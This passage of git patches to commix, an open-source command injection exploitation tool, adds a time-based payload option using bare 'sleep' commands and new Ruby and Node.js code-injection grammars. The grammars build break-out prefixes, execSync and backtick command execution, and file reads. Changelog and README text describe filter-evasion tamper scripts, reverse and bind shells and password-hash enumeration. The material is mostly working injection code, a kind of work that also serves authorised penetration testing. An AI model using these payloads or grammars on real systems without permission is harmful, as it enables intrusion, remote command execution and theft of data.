"cmd2var") +# paths go first, so that what the name-splitting script is handed is a name and not a glob; the +# space-folding script goes last, since splitting the name across variables (or wildcarding it, +# though a bare name carries no path to glob) leaves nothing after it that still reads as one of +# its recognised command names, so it is left to fold away whatever space is still there to find. +COMMAND_REWRITERS = ("cmd2wildcard", "cmd2var", "cmd2redir") # Scripts asking more of the target's shell than POSIX gives, and what each one asks for. A run # carrying one of these and finding nothing may have found nothing because the shell is a plain one. From 50e2b685dde7714d5a5d994c30d7a0fb52967359 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 3 Oct 2026 12:30:26 +0300 Subject: [PATCH 0855/1023] Added new option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution --- doc/CHANGELOG.md | 1 + src/core/main.py | 4 ++++ src/core/parse/cmdline.py | 6 ++++++ src/core/techniques/time_based/tb_payloads.py | 20 ++++++++++++++++++- src/utils/settings.py | 8 ++++++-- 5 files changed, 36 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 91767a3f81..b6e0ba48ad 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution. * Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all. * Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one. * Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once. diff --git a/src/core/main.py b/src/core/main.py index e7301c474b..8d69ed1e0a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -551,6 +551,10 @@ def main(filename, url, http_request_method): if menu.options.skip_calc: settings.SKIP_CALC = True + # Confirm the time-based technique with a plain, uncomputed delay (Detection phase). + if menu.options.skip_subst: + settings.SKIP_SUBST = True + # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 4a67d76910..db67759465 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -966,6 +966,12 @@ def banner(): default=False, help="Skip the mathematic calculation during the detection phase.") +detection.add_option("--skip-subst", + action="store_true", + dest="skip_subst", + default=False, + help="Confirm the time-based technique with a plain, uncomputed delay, instead of command substitution.") + detection.add_option("--skip-empty", action="store_true", dest="skip_empty", diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 0b1b5a3a8d..69a0b1161c 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -82,6 +82,16 @@ def decision(separator, TAG, output_length, timesec, http_request_method): # length did, and spares the payload a PowerShell launch whose own start-up time is noise a # timing measurement cannot afford. payload = checks.windows_probe(chain, "echo " + TAG, "==", TAG, timesec) + elif settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + """ + Nothing computed at all: the delay itself is the only thing being measured, so nothing here + needs '$(...)' or a backtick to survive a filter that blocks both outright. This gives up the + length check the payload otherwise builds in - "did it wait this long" is cruder than "did it + wait exactly as long as this output's length says it should" - but it is the only oracle left + once neither substitution syntax gets through, and both of these separators run what follows + them regardless of what came before, so the delay is unconditional here either way. + """ + payload = separator + "sleep " + str(timesec) else: if separator in (";", "\n", "\r\n"): payload = (separator + @@ -181,7 +191,15 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ def condition_check(separator, condition, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: return None - if separator in (";", "\n", "\r\n"): + if settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + """ + An 'if'/'then'/'fi' block branches on a real exit status using nothing but 'test' and a + newline - where '[ condition ]' followed by reading '$?' needs a ']' and a '$', both of + which a filter that blocks command substitution outright is just as likely to block too. + """ + payload = (separator + "if test " + condition + settings.END_LINE.LF + + "then sleep " + str(timesec) + settings.END_LINE.LF + "fi") + elif separator in (";", "\n", "\r\n"): payload = (separator + "[ " + condition + " ]" + separator + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 2740f88491..67a1107685 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "183" +REVISION = "184" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1979,6 +1979,10 @@ class END_LINE: # Skip the mathematic calculation (Detection Phase) SKIP_CALC = False +# Confirm the time-based technique with a plain, uncomputed delay - no '$(...)' or backtick at all - +# for a target whose filter blocks command substitution outright but still lets a separator through. +SKIP_SUBST = False + USE_BACKTICKS = False METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. " @@ -2600,7 +2604,7 @@ class END_LINE: "LPORT", "MAXLEN", "MAX_RETRIES", "METASPLOIT_PATH", "OOB_IGNORE_TIMEOUT", "OOB_POLL_INTERVAL", "OOB_PORT", "OOB_SCHEME", "OOB_SERVER", "OOB_TOKEN", "OOB_TRANSPORT", "PERFORM_CRACKING", "POST_CUSTOM_INJECTION_MARKER_CHAR", "PRE_CUSTOM_INJECTION_MARKER_CHAR", "RAW_HTTP_HEADERS", - "REPORT_JSON", "RHOST", "SKIP_CALC", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", + "REPORT_JSON", "RHOST", "SKIP_CALC", "SKIP_SUBST", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", "THREADS", "TIMEOUT", "TMP_PATH", "TOR_HTTP_PROXY_PORT", "URIPATH", "URL_PARAM_DELIMITER", "URL_RELOAD", "USER_DEFINED_PHP_DIR", "USER_DEFINED_PYTHON_DIR", "USER_DEFINED_PYTHON_INTERPRETER", "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", From 9e9bae558c26e27548f71f90b053f0a71b4173d4 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 4 Oct 2026 09:35:49 +0300 Subject: [PATCH 0856/1023] Added support for Ruby code injection through the `--eval=ruby` language. --- doc/CHANGELOG.md | 1 + src/core/eval/__init__.py | 3 +- src/core/eval/grammars/ruby.py | 165 +++++++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 169 insertions(+), 2 deletions(-) create mode 100644 src/core/eval/grammars/ruby.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b6e0ba48ad..4082cd8036 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Support for Ruby code injection through the `--eval=ruby` language. * Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution. * Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all. * Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one. diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 0dc621e6a7..24054d71c2 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -22,8 +22,9 @@ from src.core.eval.grammars import php from src.core.eval.grammars import python +from src.core.eval.grammars import ruby -LANGUAGES = {php.NAME: php, python.NAME: python} +LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py new file mode 100644 index 0000000000..65ff2edc58 --- /dev/null +++ b/src/core/eval/grammars/ruby.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "ruby" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Ruby" + +""" +A constant whose value says at once that code was evaluated, and which build evaluated it. + +RUBY_DESCRIPTION carries the same shape as Python's 'sys.version' - the version, a revision in +parentheses, the platform in brackets - so the one regex below reads either. +""" +PROBE = "RUBY_DESCRIPTION" + +# The probe on its own, and coerced to a string where the bare constant is not rendered as one. +PROBE_FUNCTIONS = ["" + PROBE + "", + PROBE + ".to_s", + PROBE + ".inspect" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(\d+\.\d+\.\d+[^\s\]]*)\s*\([^)]*\)\s*\[[^\]]+\]" +WARNINGS = ["(eval):", "SyntaxError", "NameError", "NoMethodError", "in `eval'"] + +""" +The language's own methods that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - the backtick operator '`cmd`' runs a +command too, and is reached through 'run()' below rather than named here, since it is not a call this +prefix scheme can wrap. +""" +EXECUTION_FUNCTIONS_LVL1 = ["system", "exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["Kernel.system", "IO.popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["Open3.capture2", "Open3.capture3", "instance_eval"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# Run a command and yield its output, through the backtick operator - which reads a command the +# same way a double-quoted string reads its own text, so nothing here needs a separate literal form. +def run(cmd): + return "`" + cmd + "`" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +def trim(expr): + return "(" + expr + ").rstrip" + +# How many bytes an expression is. +def length(expr): + return "(" + expr + ").length" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Indexed rather than sliced: a single index answers 'nil' past the end, where a slice would answer an +empty string instead - itself a valid one-character result at the boundary, and not distinguishable +from "out of range" the way 'nil' is. +""" +def ordinal(expr, index): + return "((" + expr + ")[" + str(index) + "] || \"\\0\").ord" + +# An expression's value read as a number, for a command whose output is one - 'nil.to_i' and +# '"".to_i' both answer 0, so nothing further has to guard against either. +def to_number(expr): + return "(" + expr + ").to_i" + +# Wait for as long as the condition is true, and no time at all when it is false. A ternary rather +# than multiplying the delay by the condition, the way another language's grammar does it here - +# 'true' and 'false' are not numbers in this one, and cannot be multiplied by anything. +def delay(timesec, condition): + return "sleep((" + condition + ") ? " + str(timesec) + " : 0)" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ") ? \"\" : exit)" + +""" +Evaluate one expression and then another, within a single expression. + +Concatenation, the same trick the PHP grammar uses: the first expression here is always a command +whose own output was redirected to a file rather than captured, so what it evaluates to is empty, +and concatenating it onto the second leaves that second value exactly as it was. +""" +def sequence(first, second): + return first + "+" + second + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 67a1107685..db50e4b337 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "184" +REVISION = "185" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82dcfdf960e89987b0378aa2a85e5d17d97aec18 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 4 Oct 2026 09:36:45 +0300 Subject: [PATCH 0857/1023] Added support for Node code injection through the `--eval=javascript` language --- doc/CHANGELOG.md | 1 + src/core/eval/__init__.py | 3 +- src/core/eval/grammars/javascript.py | 178 +++++++++++++++++++++++++++ src/utils/settings.py | 5 +- 4 files changed, 184 insertions(+), 3 deletions(-) create mode 100644 src/core/eval/grammars/javascript.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4082cd8036..9785cf7d35 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Support for Node code injection through the `--eval=javascript` language. * Added: Support for Ruby code injection through the `--eval=ruby` language. * Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution. * Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all. diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 24054d71c2..4c4a8388d9 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -23,8 +23,9 @@ from src.core.eval.grammars import php from src.core.eval.grammars import python from src.core.eval.grammars import ruby +from src.core.eval.grammars import javascript -LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby} +LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py new file mode 100644 index 0000000000..e35289fa69 --- /dev/null +++ b/src/core/eval/grammars/javascript.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "javascript" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "JavaScript" + +""" +An expression whose value says at once that code was evaluated, and which build evaluated it. + +Node carries no single banner the way Python's 'sys.version' or Ruby's 'RUBY_DESCRIPTION' do, so +this joins the three values that together are unique to a Node build - version, platform, and +architecture - into one string a payload's own regex reads back in one piece. +""" +PROBE = "process.version+process.platform+process.arch" + +# The probe on its own, and coerced to a string where the bare expression is not rendered as one - +# it already is one, but a sink built for a value never rendered as text may still expect a call. +PROBE_FUNCTIONS = ["" + PROBE + "", + "String(" + PROBE + ")", + "(" + PROBE + ").toString()" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(v\d+\.\d+\.\d+)(?:linux|darwin|win32|freebsd|openbsd|sunos|aix)(?:x64|arm64|arm64?|ia32|ppc64|s390x)" +WARNINGS = ["SyntaxError", "ReferenceError", "is not defined", "Unexpected token", "at eval "] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written out whole, the 'require' included: there is no bare name for these the way a +language with them built in would have, and the prefix below only adds the bracket. +""" +EXECUTION_FUNCTIONS_LVL1 = ["require(\"child_process\").execSync"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["require(\"child_process\").exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["require(\"child_process\").spawnSync", "eval"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it - this +# language's line comment is '//', not the '#' another dynamic language would use here. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "//"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'//", "\"//", ")//", "]//", "}//", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# A string literal holding the given text. +def _literal(text): + return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + +# Run a command and yield its output. 'execSync' answers with a Buffer, not the string itself. +def run(cmd): + return "require(\"child_process\").execSync(" + _literal(cmd) + ").toString()" + +# Read a file and yield its contents. +def read_file(path): + return "require(\"fs\").readFileSync(" + _literal(path) + ").toString()" + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report - +# both ends rather than the one, the way another language's grammar does it here, would disagree +# with that substitution on any output that opens with whitespace of its own. +def trim(expr): + return "(" + expr + ").trimEnd()" + +# How many bytes an expression is. +def length(expr): + return "(" + expr + ").length" + +# The ordinal of an expression's Nth byte, counting from zero. 'charCodeAt' answers 'NaN' past the +# end, which the search would read as a comparison that is never true - answering zero instead +# says plainly that nothing is there, the way every other language's grammar here does too. +def ordinal(expr, index): + return "(" + expr + ").charCodeAt(" + str(index) + ")||0" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "(Number(" + expr + ")||0)" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +There is no synchronous sleep built into the language itself - only a callback-based timer, which a +single expression cannot wait on - so the delay is asked of the shell instead, through the same +'execSync' the rest of this grammar already reaches a command with. +""" +def delay(timesec, condition): + return "((" + condition + ")?require(\"child_process\").execSync(\"sleep " + str(timesec) + "\"):0)" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. + +Thrown rather than exiting the process outright: a request handler here usually runs inside a +server the same process goes on serving other requests from, unlike the per-request worker another +language's grammar can afford to end. An uncaught throw reaches the same result - the response the +target sends back differs from the one a satisfied condition renders - without taking that server +down for every request after this one. Wrapped in a call, since 'throw' is a statement and this +sits inside a ternary, which only takes expressions on either side. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ")?\"\":(()=>{throw new Error()})())" + +""" +Evaluate one expression and then another, within a single expression. + +The comma operator: it evaluates its left side, discards the value, then evaluates and yields its +right side - built for exactly this, unlike the tuple or concatenation another language's grammar +has to reach for here instead. +""" +def sequence(first, second): + return "(" + first + "," + second + ")" + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index db50e4b337..6e9213305e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "185" +REVISION = "186" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1062,7 +1062,8 @@ def single_whitespace_for(data=None): 'py' should not be an error where naming it 'python' is not. """ LANGUAGE_ALIASES = {"py": "python", "python2": "python", "python3": "python", "php7": "php", - "php8": "php", "pl": "perl", "rb": "ruby"} + "php8": "php", "pl": "perl", "rb": "ruby", "js": "javascript", + "node": "javascript", "nodejs": "javascript"} # The name a language was given by, resolved to the one commix knows it as. def resolve_language(name): From f6077cb4b18bc48793336584a1e1bd7eb78df35c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 4 Oct 2026 09:38:21 +0300 Subject: [PATCH 0858/1023] Update README(s) --- README.md | 2 +- doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/utils/settings.py | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 1f3a2f86b7..8b8033db13 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features * **Five injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. -* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. +* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP, Python, Ruby or JavaScript, over the same five techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 8afd917d95..98e9b9c59b 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -35,7 +35,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características * **Cinco técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. -* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. +* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby o JavaScript, con las mismas cinco técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index a93d8ebf47..972008ee02 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -34,7 +34,7 @@ ## ویژگی‌ها * **پنج تکنیک تزریق** - results-based (classic)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. -* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. +* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby یا JavaScript و با همان پنج تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index b15b1932a9..40a0a1d878 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -35,7 +35,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités * **Cinq techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. -* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. +* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby ou JavaScript, avec les cinq mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index e23164cc9f..32fa027d20 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -34,7 +34,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## 